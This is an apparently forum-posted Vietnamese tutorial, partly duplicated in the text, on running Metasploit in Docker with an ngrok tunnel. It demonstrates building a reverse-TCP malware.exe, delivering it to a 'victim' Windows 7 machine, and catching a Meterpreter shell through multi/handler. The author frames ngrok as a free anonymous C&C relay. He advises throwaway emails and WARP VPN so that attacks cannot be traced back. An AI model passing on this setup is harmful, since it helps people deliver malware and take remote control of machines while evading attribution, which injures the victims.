Trước hết, mình là newbie, về việc viết writeup, mình mong muốn chia sẻ cho các bạn newbie khác và nhận được những nhận xét, góp ý từ các bạn pro hơn, mời mọi người đọc và nhận xét bài writeup này nhé.
Xuất phát từ thực tế của mọi người trong việc cài đặt và sử dụng metasploit:
Èo lại phải cài rvm à, rồi ruby, gem nữa, nặng, rác hết máy :(
Native lib của ruby muốn cài lại phải cài thêm gcc, g++ nữa, èo, rác hết máy :(
Rồi lại phải cài thêm postgresql nữa, èo rác hết máy, còn config nữa, rắc rối :cry:
Hic, cuộc sống vốn dĩ đã mệt mỏi rồi, tha cho t điiiiiiiii
Rồi khai thác lại cần có IP public, vps nữa, tiền đâu mua vps đây, trong tủ còn mỗi gói mì hảo hảo chua cay thôi :sob:
Nhỡ đi khai thác họ truy ra ip vps, rồi truy ra mình thì sao, sợ cá, huhu :crying_cat_face:
...
Từ những vấn đề đó, sau vài chục năm trời vắt óc suy nghĩ :v, mình đã tìm ra con đường tự cứu bản thân trong trường hợp này. Và dưới đây là bài chia sẻ của mình, để những newbie như mình, dễ dàng hơn, thoát khỏi vòng lao lý :))))))
Step 1: Cài đặt chung
docker: Cài đặt khá đơn giản, bạn chạy lệnh curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh && sudo usermod -aG docker $USER && sudo reboot, rồi ngồi chờ máy tính khởi động lại :hamburger: đợi chờ là hạnh phích mà :smiley:.
ngrok: Cài đặt cũng đơn giản thôi, tải ngrok về tại https://ngrok.com/download. Rồi đăng ký cho mình 1 tài khoản (dùng email rác thôi :100: ), bạn sẽ nhận được API key.
Chạy lệnh ngrok authtoken 5cm6K......yPBbUZY # Đây là API key của bạn
Done step 1 nhé. Để chắc chắn done step 1, khi chạy các lệnh sau, sẽ không có lỗi nào được in ra:
Giải thích: Lệnh trên sẽ tạo 1 container, lắng nghe cổng 4444 (cổng thường dùng của metasploit), bạn có thể copy ra/vào files của máy host (máy bạn) và container này thông qua thư mục /tmp/metasploit.
Đồng thời, ở lệnh thứ 2, mình đã reset root password của metasploit container này thành toor, để bạn dễ dàng nhớ hơn.
Vậy là xong, bạn đã sẵn sàng để sử dụng metasploit rồi
Sử dụng metasploit
Đầu tiên, bạn kiểm tra xem metasploit container đã chạy chưa: docker ps, nếu thấy metasploit thì là nó đã chạy rồi, nếu chưa, bạn chạy lệnh docker start metasploit
Tiếp theo, bạn chạy lệnh docker attach metasploit, màn hình hiện như này là ok nè:
Bây giờ, bạn có thể sử dụng metasploit như bình thường, ngoại trừ việc LHOST của metasploit không đúng, ok, nào cùng fix lại. Đây chính là lúc ngrok vào cuộc chơi.
Để làm rõ hơn vấn đề này, mình sẽ demo sử dụng metasploit để một con malware reverse tcp về máy mình nhé.
Demo
Kịch bản
Có thầy đã nói với mình, demo cái gì thì cũng cần kịch bản, cảm ơn và theo lời thầy :100:, đây là kịch bản:
Metasploit container: tạo malware.exe, ẩn danh nhận connect reverse tcp
Windows 7: Nạn nhân xấu số, chạy malware.exe
Con đường đi reverse tcp sẽ như sau:
Windows 7 <------ internet ------> Ngrok server <------ internet ------> Metasploit container
Như vậy, Ngrok server được sử dụng như C&C server vậy á, cơ mà ngrok thì ai dùng chả được, nhỉ (đây cũng chính là "ẩn danh" nè)
Step 1: Dùng ngrok tunnel cổng 4444
Chạy lệnh: ngrok tcp 4444
Step 2: Tạo malware.exe
Nếu bạn đang ở trong metasploit container, bạn gõ các lệnh sau:
Trong đó, LHOST và LPORT mình lấy từ thông tin của ngrok trả về nhé.
Bây giờ đây, cả máy host và container đều chứa file /tmp/metasploit/malware.exe, chuyển file này đến Windows 7 thôi.
Step 3: Sử dụng metasploit với multi handler
Bạn chạy lệnh như sau:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
Step 4: Chạy malware.exe ở Windows 7
Vừa chạy xong là có reverse tcp về luôn:
Vậy là mình đã demo thành công rồi, với cách này, kết hợp sử dụng warp làm vpn, bạn sẽ "ẩn danh" khi khai thác lỗ hổng bằng metasploit, và... ai cần vps đâu ;)
Lời nói cuối
Để cho các bạn newbie như mình tìm hiểu thêm, warp vpn (1.1.1.1) với câu lệnh warp-cli connect
Mình đang cho metasploit container expose cổng 4444, các bạn có thể sử dụng nhiều cổng hơn, hoặc không expose cũng được, ngrok có thể đưa luôn vào trong container này. Nhưng do mình cài ngrok ở ngoài máy host (để dùng các việc khác nữa), nên mới đưa ra câu lệnh như vậy, các bạn tự tùy biến nhé.
Cuối cùng, chúc các bạn một mùa đông không lạnh, giáng sinh vui vẻ cùng gia đình, bạn bè, cùng nhau sống tốt nhé ;)
Các bạn có thể đưa ra comment, hỏi đáp và nhận xét ở dưới đây, cảm ơn các bạn đã theo dõi. :+1:
Lời nói đầu
Trước hết, mình là newbie, về việc viết writeup, mình mong muốn chia sẻ cho các bạn newbie khác và nhận được những nhận xét, góp ý từ các bạn pro hơn, mời mọi người đọc và nhận xét bài writeup này nhé.
Xuất phát từ thực tế của mọi người trong việc cài đặt và sử dụng metasploit:
Từ những vấn đề đó, sau vài chục năm trời vắt óc suy nghĩ :v, mình đã tìm ra con đường tự cứu bản thân trong trường hợp này. Và dưới đây là bài chia sẻ của mình, để những newbie như mình, dễ dàng hơn, thoát khỏi vòng lao lý :))))))
Step 1: Cài đặt chung
docker
: Cài đặt khá đơn giản, bạn chạy lệnhcurl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh && sudo usermod -aG docker $USER && sudo reboot
, rồi ngồi chờ máy tính khởi động lại :hamburger: đợi chờ là hạnh phích mà :smiley:.ngrok
: Cài đặt cũng đơn giản thôi, tải ngrok về tại https://ngrok.com/download. Rồi đăng ký cho mình 1 tài khoản (dùng email rác thôi :100: ), bạn sẽ nhận được API key.ngrok authtoken 5cm6K......yPBbUZY # Đây là API key của bạn
Done step 1 nhé. Để chắc chắn done step 1, khi chạy các lệnh sau, sẽ không có lỗi nào được in ra:
docker ps
ngrok --version
Step 2: Cài đặt metasploit
Chạy 2 lệnh
Giải thích: Lệnh trên sẽ tạo 1 container, lắng nghe cổng 4444 (cổng thường dùng của metasploit), bạn có thể copy ra/vào files của máy host (máy bạn) và container này thông qua thư mục /tmp/metasploit. Đồng thời, ở lệnh thứ 2, mình đã reset root password của metasploit container này thành toor, để bạn dễ dàng nhớ hơn. Vậy là xong, bạn đã sẵn sàng để sử dụng metasploit rồi
Sử dụng metasploit
docker ps
, nếu thấy metasploit thì là nó đã chạy rồi, nếu chưa, bạn chạy lệnhdocker start metasploit
docker attach metasploit
, màn hình hiện như này là ok nè:Để làm rõ hơn vấn đề này, mình sẽ demo sử dụng metasploit để một con malware reverse tcp về máy mình nhé.
Demo
Kịch bản
Có thầy đã nói với mình, demo cái gì thì cũng cần kịch bản, cảm ơn và theo lời thầy :100:, đây là kịch bản:
Con đường đi reverse tcp sẽ như sau:
Windows 7 <------ internet ------> Ngrok server <------ internet ------> Metasploit container
Như vậy, Ngrok server được sử dụng như C&C server vậy á, cơ mà ngrok thì ai dùng chả được, nhỉ (đây cũng chính là "ẩn danh" nè)
Step 1: Dùng ngrok tunnel cổng 4444
ngrok tcp 4444
Step 2: Tạo malware.exe
Trong đó, LHOST và LPORT mình lấy từ thông tin của ngrok trả về nhé. Bây giờ đây, cả máy host và container đều chứa file /tmp/metasploit/malware.exe, chuyển file này đến Windows 7 thôi.
Step 3: Sử dụng metasploit với multi handler
Bạn chạy lệnh như sau:
Step 4: Chạy malware.exe ở Windows 7
Vậy là mình đã demo thành công rồi, với cách này, kết hợp sử dụng warp làm vpn, bạn sẽ "ẩn danh" khi khai thác lỗ hổng bằng metasploit, và... ai cần vps đâu ;)
Lời nói cuối
warp-cli connect
Các bạn có thể đưa ra comment, hỏi đáp và nhận xét ở dưới đây, cảm ơn các bạn đã theo dõi. :+1: